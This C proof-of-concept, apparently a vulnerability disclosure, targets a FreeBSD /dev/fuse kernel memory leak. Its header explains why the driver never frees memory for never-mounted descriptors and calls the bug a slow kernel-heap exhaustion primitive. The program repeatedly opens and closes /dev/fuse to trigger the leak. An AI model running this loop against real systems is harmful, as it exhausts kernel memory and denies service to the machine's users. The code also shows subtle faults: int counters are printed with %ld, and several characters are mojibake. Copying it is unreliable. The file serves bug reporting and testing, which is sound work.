DF-3228 / df3228.c
/* * DF-3228 โ /dev/fuse open/close leak in the cdevpriv dtor. * * fuse_device_open() (fuse_device.c:48-61) kmallocs a struct fuse_mount and * installs it as the per-fd cdevpriv with refcnt=1. The dtor * fuse_cdevpriv_dtor() (fuse_device.c:38-45) drops that reference only * "if (!fuse_cdevpriv_close(fmp))" โ i.e. only when the fd was actually * associated with a mount (devvp != NULL). fuse_cdevpriv_close() returns * ENODEV for a never-mounted fd (fuse_device.c:84-88), so the dtor returns * WITHOUT calling fuse_mount_free(): the struct fuse_mount allocated at * open is leaked on EVERY open("/dev/fuse")+close() cycle that does not * mount. (devfs_set_cdevpriv's return is also ignored at fuse_device.c:57, * leaking immediately if it ever fails.) * * PoC: open+close /dev/fuse N times, then compare the M_TEMP row of * vmstat -m before/after. Each cycle leaks sizeof(struct fuse_mount) * (~256 bytes) plus nothing else (locks are only initialized at mount). * * Reachability: /dev/fuse is 0660 root:operator (fuse_device_init, * fuse_device.c:313-314) โ group operator / root; a slow kernel-heap * exhaustion primitive for a semi-privileged local account. * * Build: cc -O2 -Wall -o df3228 df3228.c * Run: (root) kldload fuse && ./df3228 [iterations] */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 100000; int ok = 0, fail = 0; for (long i = 0; i < iters; i++) { int fd = open("/dev/fuse", O_RDWR); if (fd < 0) { fail++; if (fail == 1) perror("open"); continue; } if (close(fd) < 0) { perror("close"); return 2; } ok++; } printf("df3228: %ld open+close cycles completed (%ld open failures)\n", ok, fail); printf("df3228: expect ~%ld bytes (%ld * ~256) leaked in M_TEMP; " "compare `vmstat -m | grep temp` before/after\n", ok * 256L, ok); return 0; } |